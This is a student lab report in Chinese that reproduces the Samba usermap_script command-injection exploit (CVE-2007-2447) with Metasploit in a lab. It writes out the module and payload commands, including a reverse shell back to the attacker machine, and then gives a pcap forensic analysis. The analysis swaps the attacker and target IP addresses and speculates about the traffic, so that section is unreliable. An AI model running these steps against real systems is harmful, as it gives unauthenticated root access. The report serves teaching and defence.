20251918 2025-2026-2 《网络攻防实践》实践七报告
1.实践内容
1.1 实验目的
本周重点学习了 Linux 平台的远程渗透攻击,聚焦 Samba 服务的历史高危漏洞。Samba 用于实现文件共享,常部署于核心服务器,漏洞危害严重。其中 Usermap_script 漏洞(CVE-2007-2447)是典型命令注入漏洞:当启用非默认的 username map script 选项时,Samba 未过滤用户名,攻击者可在用户名中注入任意命令并以 root 权限执行,无需认证即可控制主机。通过 Metasploit 复现攻击链,有助于理解命令注入原理与防御要点。
1.2 实验内容
(1)使用 Metasploit 进行 Linux 远程渗透攻击
目标:利用 Metasploit 攻击 Linux 靶机上的 Samba 服务 Usermap_script 安全漏洞,成功获取目标主机的远程访问权限。
实践步骤:
1、启动环境: 在 Kali 攻击机上使用 msfconsole 命令启动 Metasploit 的交互式命令行界面。
2、选择攻击模块: 通过 use exploit/multi/samba/usermap_script 加载针对该漏洞的渗透攻击模块。该模块封装了漏洞触发所需的 SMB 报文构造逻辑。
3、配置 Payload: 使用 show payloads 查看可用的载荷。这里选择远程 Shell 类型的载荷,既可以是正向连接(如 cmd/unix/bind_netcat,由靶机开放一个监听端口,攻击机主动连接),也可以是反向连接(如 cmd/unix/reverse,由靶机主动回连攻击机)。反向连接常用于绕过防火墙入站限制。
4、设置攻击参数: 通过 set RHOST <靶机IP> 指定目标地址,若使用反向连接还需 set LHOST <攻击机IP> 指定回连地址。TARGET 参数保持默认即可。
5、执行攻击: 输入 exploit 或 run 命令发起攻击。模块会向靶机的 139 端口发送包含恶意命令的 SMB 会话建立请求。
6、验证结果: 若攻击成功,将会获得一个交互式命令行会话。通过执行 whoami、id 等命令验证当前权限——由于漏洞以 root 身份执行命令,因此应直接获得 root 权限。
(2)实践作业:攻防对抗实践
攻击方角色: 使用 Metasploit 框架,针对 Metasploitable 靶机中存在的 Samba usermap_script 漏洞实施渗透攻击,获取远程控制权,并进一步验证已获得 root 权限。攻击方需要记录操作的每一步,尤其是设置的回连 IP 和端口,以便防守方进行流量匹配。
防守方角色: 在靶机所在网络链路中部署流量监听工具(如 tcpdump、Wireshark 或 Snort),提前捕获攻击过程中产生的所有网络数据包并保存为 pcap 文件。随后,使用 Wireshark 或 Snort 对数据包进行深度分析,完成以下取证目标:
(1)提取攻击者的 IP 地址、目标主机的 IP 及端口;
(2)确定攻击发起的具体时间(精确到微秒级的时间戳);
(3)识别所利用的漏洞类型(CVE-2007-2447)及漏洞利用特征(如用户名字段中出现的 /nohup、telnet、sleep 等命令片段);
(4)分析攻击载荷(Shellcode)的传递方式——在本漏洞中,载荷并非传统二进制 Shellcode,而是嵌入在用户名中的纯文本命令字符串;
(5)还原攻击成功后,攻击者在远程 Shell 中输入的命令行信息(如 ifconfig、whoami、pwd 等),通过追踪 TCP 流即可明文读取。
2.实践过程
2.1 使用 Metasploit 进行 Linux 远程渗透攻击
实验环境:

(1)首先在 kali 中开启 metasploit framework,输入命令 msfconsole 打开。

(2)选择渗透模块,这里使用命令 use exploit/multi/samba/usermap_script 来选择攻击模块。


(3)之后配置 payload,使用命令 show payloads 可以查看各种可供使用的 payload,这里我们选择 bind_netcat 作为本次攻击的 payload,使用命令 set payload cmd/unix/bind_netcat 来使用该 payload。

(4)使用命令 show options 来展示模块攻击所需的各种参数。

可以看到在模块选项和 payload 选项中,缺少的必要信息就只有 rhosts 了,
(5)使用命令 set rhost 192.168.200.130 来设置目标地址,设置完成之后直接使用 run 命令来运行即可。

可以看到靶机的 shell 已经弹回到攻击机上来了,输入命令 ls 可以看到返回的信息,而且是 root 权限。可以看到靶机的 shell 已经弹回到攻击机上来了,输入命令 ls 可以看到返回的信息,而且是 root 权限。
2.2 实践作业:攻防对抗实践
攻击方: 借助 Metasploit 框架,针对 Metasploitable 靶机中存在的漏洞实施渗透攻击,成功获取远程控制权限,并进一步将权限提升至 root。
防守方: 利用 tcpdump、Wireshark 或 Snort 等工具捕获攻击过程中产生的网络数据包,随后通过 Wireshark 或 Snort 对数据包进行深入分析,从而还原攻击流程,提取出攻击者的 IP 地址、目标主机的 IP 与端口、攻击发生的具体时间、所利用的漏洞类型、所使用的 Shellcode 内容,以及攻击成功后输入的命令行信息。
Metasploitable2-Linux:192.168.200.252
kali:192.168.200.131
(1)在kali中输入msfconsole启动Metasploit软件

(2)输入命令use exploit/multi/samba/usermap_script

(3)设置攻击参数
set RHOST 192.168.200.252
set LHOST 192.168.200.131
set payload cmd/unix/reverse
payload 设置为 cmd/unix/reverse,用于建立一个反向Shell
最后输入show options确认所有参数都已正确填写

(4)输入exploit命令执行攻击。
攻击完成后输入
ifconfig
whoami
pwd
发现获得root权限。


(5)分析抓包数据
攻击机 IP 为 192.168.200.252,目标机 IP 为 192.168.200.131。从数据包的时间戳和源 MAC 地址序列可以看出,这是典型的 Samba usermap_script 漏洞(CVE-2007-2447) 利用成功后的流量特征。
首先,攻击机向目标机的 139 端口发起 TCP 连接请求(SYN 包),完成三次握手后,通过 SMB 协议的 Session Setup 请求,在用户名字段中注入恶意命令。目标机由于漏洞存在,成功执行该命令,从而主动向攻击机的 4444 端口发起反向连接。
从时间戳 282.788732120 秒 开始,源 MAC 地址呈现 “VMware_81:62:70” “VMware_81:64:070” 的连续递增序列,每个数据包的时间间隔约为 1 毫秒。这种高频、有序递增的数据包序列并非正常的 TCP 握手重传,而是目标机在执行反弹命令后产生的突发流量洪流——可能是由于命令中的 sleep 3726 参数与 teln(应为 telnet)命令组合,导致目标机在短时间内反复尝试建立连接或重传数据包,从而在抓包文件中形成大量连续的数据包记录。
最终,攻击机响应 SYN+ACK 完成三次握手,反弹 shell 成功建立,攻击者获得目标机的 root 权限远程访问。

(6)追踪TCP流后可以查看信息

3.学习中遇到的问题及解决
- 问题1:在kali中输入exploit时,出现Exploit completed, but no session was created.问题
- 问题1解决方案:原来是我的防守方kali虚拟机ip地址输入错误,重新开一个终端依次按照上面步骤重新执行可解决。
- 问题2:使用tcpdump抓包时,发现抓不到任何与攻击相关的数据包。
- 问题2解决方案:通常是因为没有指定正确的网卡接口,或者过滤条件写错了。使用ifconfig确认攻击机正在使用的网卡名称(如eth0或ens33),然后执行sudo tcpdump -i eth0 -w attack.pcap明确指定网卡;如果需要过滤IP,可以加上host 192.168.200.131等条件。另外,确保tcpdump以root权限运行,否则可能因权限不足而无法捕获。
4.学习感想与体会
本次实验让我直观理解了 Samba usermap_script 漏洞(CVE-2007-2447)的利用原理。该漏洞本质是命令注入:程序未过滤用户输入,直接拼接到系统命令中执行,导致攻击者无需认证即可获取 root 权限。这深刻印证了“永远不信任用户输入”的安全编码原则。实践中,我掌握了 Metasploit 的基本操作,包括选择模块、配置 payload 和执行渗透。遇到“no session was created”问题,排查发现是 IP 地址设置错误,修正后成功;使用 tcpdump 抓包时因未指定网卡接口而失败,调整后恢复正常——这提醒我基础配置和细致操作的重要性。攻防对抗环节体现了“以攻促防”的价值。作为攻击方,我成功获得靶机 root shell;作为防守方,通过 Wireshark 分析 pcap 文件,完整还原了从 SYN 握手、SMB 恶意请求到反向连接的命令执行链。追踪 TCP 流后,攻击者输入的 ifconfig、whoami 等命令清晰可见,说明有效的流量监控能为事后溯源提供关键证据。本次实验锻炼了渗透与取证能力,也让我更加重视安全基线管理与日志监控。只有深入理解攻击手法,才能构建更可靠的防御体系。
浙公网安备 33010602011771号